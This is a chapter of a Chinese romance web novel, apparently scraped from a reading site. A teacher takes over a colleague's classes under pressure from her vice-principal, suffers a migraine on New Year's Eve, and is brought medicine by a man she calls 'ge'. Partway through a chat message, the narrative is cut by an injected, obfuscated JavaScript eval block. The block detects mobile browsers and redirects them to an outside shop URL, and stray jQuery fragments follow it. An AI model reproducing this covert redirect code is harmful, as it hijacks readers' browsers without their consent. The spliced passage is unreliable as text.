16. 16

作品:《雪霁逢嘉年

    28号,齐轶参加秦城电视台跨年晚会的第一次彩排。


    佟嘉悦的生活按部就班,圣诞刚过去,又临元旦,学校四处洋溢着节庆氛围,老师和学生们都格外松懈,除了最近一周的课会比较多,对于佟嘉悦来说,一切本算得上完美。


    美好的心情,在早上被王副校长打破。


    同事转告佟嘉悦王校长找她的时候,她几分愕然,这位王校长看自己老不顺眼了,但好歹眼不见为净,他更乐意于在大庭广众之下让她下不来台,很少单独找她。


    佟嘉悦心口升腾起不祥的预感。


    磨磨蹭蹭、不情不愿地去了他的办公室,果然没好事等着她——隔壁班的语文老师孙雅有急事要请假,王校长叫她去帮忙代课。


    佟嘉悦平心静气地问:“代多长时间?”


    王校长背着她,身体都不转,端着个保温杯在饮水机前打水,“少则三四天,多则一周。”


    佟嘉悦微微一笑,说:“王校长,我这一周本来就课多,您看找课少的老师看看呢——”


    这回倒是转身了,大腹便便的中年男人冷哼着走过来,拿着手中的保温杯就往桌上重重一掷。


    “遇到问题就推卸,试都没有试,现在的年轻老师就是没责任感,别人孙老师家里孩子生大病,要贴身照顾,你一点同理心都没有?”


    一顶帽子又扣下来,道德绑架更是信手拈来。


    这一番话让佟嘉悦怒从中起,然而她敢怒不敢言,已经吃过教训,明着拒绝他,后面只会有更多的麻烦等着她——只能另辟蹊径,见招拆招,寻个折中办法,去找问题源头的那个人。


    佟嘉悦深吸一口气,抛下一句:“我去找孙老师聊聊,您先别急。待会儿有课呢王校长,我得先走了。”


    话罢,转头就走。


    佟嘉悦和孙雅同一办公室,知道孙老师她今天下午课少,原本打算下午再去问问她情况,谁料大课间的时候,孙雅主动找上了她。


    “小佟老师,给。”


    孙雅把点的咖啡外卖,一杯放她桌上。


    “谢谢,”佟嘉悦忙说,“下次我请你。”


    孙雅摆摆手,“有事求你。”


    紧接着她唉声叹气,展露出无奈的笑。


    佟嘉悦意识到什么,欲言又止。


    中年女人脸上的疲态不掩,生活磋磨她,淬炼出一个女超人妈妈。


    孙雅结婚多年,喜欢和其他已婚的女同事交流婚姻里鸡毛蒜皮的事,遂佟嘉悦大致了解她的婚姻状态:丈夫工作性质繁忙,频频出差,常居外地,老大初中在读,老二上幼儿园,父母在异地,公婆身体不好,搭不上手,凡事她须亲力亲为,一个人连轴转,时间卡得严丝合缝,不出差错的话,生活勉强运转。


    “我家老二病了,她几岁的小女孩一个,急性肠胃炎,上吐下泻的,什么都吃不了,现在奶奶暂时陪着在医院,但奶奶她身体不好,没法陪床过夜的。”孙雅着急把前因后果一股脑抖给佟嘉悦听,“我去找王校长请假,他跟我说,必须先找到帮我代课的人才准假……你说我又不是撂挑子跑了,家里有急事啊真是,哎!”


    “我找了几个老师,都……嗯,不是说身体熬不住,就是下了班家里事多……你看,咱们组就你年轻,未婚,也没孩子,时间总比我们充裕一些……”


    说到后面声音都虚了,一贯清高要强的中年女人,把头垂下来,不安地搓着手,一副不得不求人办事,羞耻难言的模样。


    想必她已经被拒绝多次了,其他人都避之不及,职场老油子踢皮球,一个一个把烫手山芋抛出去,直到抛到她这个年轻未婚的女老师手里,配合得十足默契。


    孙雅这孤立无援的状态,所有人无声push她,她又不得不来push自己。


    佟嘉悦明明清楚得很……


    然她这过分共情旁人的毛病,让她此时此刻,难以说出一句拒绝的话。


    她心软了。


    垂下眼,轻轻搭上了女人冰冷一片的手背,“好。”


    孙雅听到肯定的答复,终于展颜,女人反手死死攒住佟嘉悦的手,仿若抓住一根救命稻草,“太感谢了!太感谢了!谢谢你,小佟老师!”


    *


    做老好人答应下来的后果就是,从早到晚脚不沾地,算起来一周统共二十多个课时,佟嘉悦下了班,累得一句话都不想说。


    还好她是个善于苦中作乐的乐天性格,每天和何烨在微信上吐吐槽,写手账本的时候发发闹骚,买一些好吃的购物车加购想买的犒劳自己,消解完所有疲累和负面情绪,第二天依旧精神抖擞地上班,认认真真上课和代课。


    31号,年末最后一天。


    明天元旦,终于放假一天,佟嘉悦也收到好消息,孙老师会在来年的3号回归,她大松一口气。


    连日的高强度工作再加上近日频频失眠睡不好,今晚神经刚一松懈下来,太阳穴突突似的,一阵又一阵尖锐的疼。


    跨年夜,佟嘉悦很悲剧的偏头痛了。


    她这个老毛病很久没犯了,这一次太阳穴抽疼得比以往都厉害,原本还打算看着跨年晚会等候零点,迎接新一年的到来,实在撑不住,她洗漱过后就回到卧室,关灯,酝酿睡意。


    希望睡一觉来缓解她的头痛。


    已经八点半了,客厅的电视机里的歌唱声絮絮,因为有齐轶出场,爸妈特意调到秦城卫视看跨晚。


    关了灯,只留床前的一盏小夜灯,睡觉前,佟嘉悦挨个挨个回复消息。


    齐轶正在后台等待上场,第一次参加本地的官方活动,他显得跃跃欲试,又有些紧张。


    消息往下一拉,他自顾自和她发了不少消息,佟嘉悦白天忙得一点零碎的时间都没有,这会儿终于抽出功夫回复:忙死啦,才看到消息,果咩~


    齐轶回得很快:我知道我知道,应该下班了现在?吃晚饭了吗?


    佟嘉悦:下了,吃了,你呢?


    齐轶:凑合吃了口蔬菜沙拉,要上镜,怕发腮。


    佟嘉悦没忍住笑出声。


    不笑不要紧,这一笑,眉骨接近太阳穴那一块猝不及防地疼。


    “……”佟嘉悦揉了揉眉骨,又揉了揉额际,认命地熄屏。


    放下手机前,正瞥见齐轶聊天栏蹦出的最新一条:记得在九点半看我演出啊!


    她无奈地敲字回:我偏头痛,实在熬不住了,马上准备睡了。抱歉啦,等我醒了补录播。


    齐轶仿若有几分意兴阑珊,说:好吧,没事儿。那你多喝热水,好好休息。


    佟嘉悦眼睫轻动,回复一个“嗯”,正准备熄屏,方霁明的消息进来。


    方霁明:出来跨年吗?


    佟嘉悦又解释一遍:不好意思啦哥,我偏头痛


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17070297|194984||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,准备睡了。


    方霁明本是随口问问,没报什么期望。没期望一个肯定答案,他猜她会待在家里看齐轶跨晚,也或许晚一点赶零点场和齐轶一起跨年,但也没料到是这么一个回复。


    方霁明随即拨了一个电话过去,直问:“有吃布洛芬吗?”


    佟嘉悦回:“家里没有。”


    “我家有。”方霁明说,“你先稍等一会,我来给你送药。”


    佟嘉悦:“不用这么麻烦哥,大不了我叫个跑腿——”


    方霁明的语气不容拒绝,“顺路,我本来要出门一趟,经过你家。”


    方霁明其实并不在家。


    他正在外面夜跑,去附近最近药店买了药,便叫计程车直奔佟嘉悦家。


    *


    “霁明?”柴琳开门,见到门外的男人,几分讶然,“怎么这会儿来啦?”


    方霁明扬了扬手中的一袋药,“听嘉悦说她偏头痛,正好路过,带了点布洛芬给她。”


    “欸是,是,”柴琳笑道,“你也太有心了。”


    “要不要进来坐坐?”


    “我可以看看嘉悦吗?”


    两句话几乎同时,柴琳笑了笑,“快进来,快进来。”


    沙发上的佟大勇随口搭话:“这么点儿小病,犯不着吃药,人没那么娇气,你就是太宠她了,还折腾你过来送药——”


    “不是,是我自己主动说要来的。”方霁明打断他,平声解释,“相反,嘉悦并不娇气,她也非常不喜欢麻烦别人。”


    佟大勇愣了愣,说:“嘉悦身体素质不错的,你别太担心。”


    柴琳去端热水,方霁明取了药出来,柴琳凉凉乜了眼佟大勇,同方霁明絮絮叨,“别管他,哥哥心疼妹妹,天经地义!我跟你说偏头痛是这孩子老毛病了,但也很久没犯了,感觉她最近压力好大,天天忙得昏天地暗,累得够呛,也不知道忙活些什么……”


    方霁明到得很快,佟嘉悦还没睡着。听到门外的动静,她就打开了夜灯。


    无多时,柴琳掀门进来,把一杯温水和一板药囊放在床头柜,“霁明来看你了,先起来喝个药再睡?”


    “嗯嗯。”佟嘉悦倚着床头,忍着头痛欲裂,挣扎着坐起来。


    方霁明踱步到佟嘉悦卧室门外。


    室内晦暗,小夜灯投下的一抹晕黄的光,裁出女人纤瘦的轮廓。


    佟嘉悦捧着玻璃杯,吞下药丸,含糊喊道:“哥。”


    方霁明淡淡颔首:“好好睡吧。”


    “谢谢哥。”


    “走了。”


    全程滞留不过十分钟,就只是为了给她送点药。保持克制与礼仪,对她私密空间的尊重,他没进去。


    人一走,柴琳不由感叹:“别看霁明整天一张脸冷冰冰的,其实是个特别贴心的孩子呢。”


    “对啊,哥对我特别好。”佟嘉悦笑眼弯弯,又躺回去了。


    “别当作理所当然,你要记着对你好的人,”柴琳替她掖了掖被角,“好了,睡吧。”


    柴琳关了小夜灯,悄步出去,房门关上,室内再次陷入黑暗。


    佟嘉悦拿起手机,给方霁明郑重发去一条:哥,大恩不言谢,我要怎么报答你呀?


    方霁明:行。


    方霁明:元旦留出一点时间给我,可以吗?


    佟嘉悦呼吸一轻,眨了眨眼。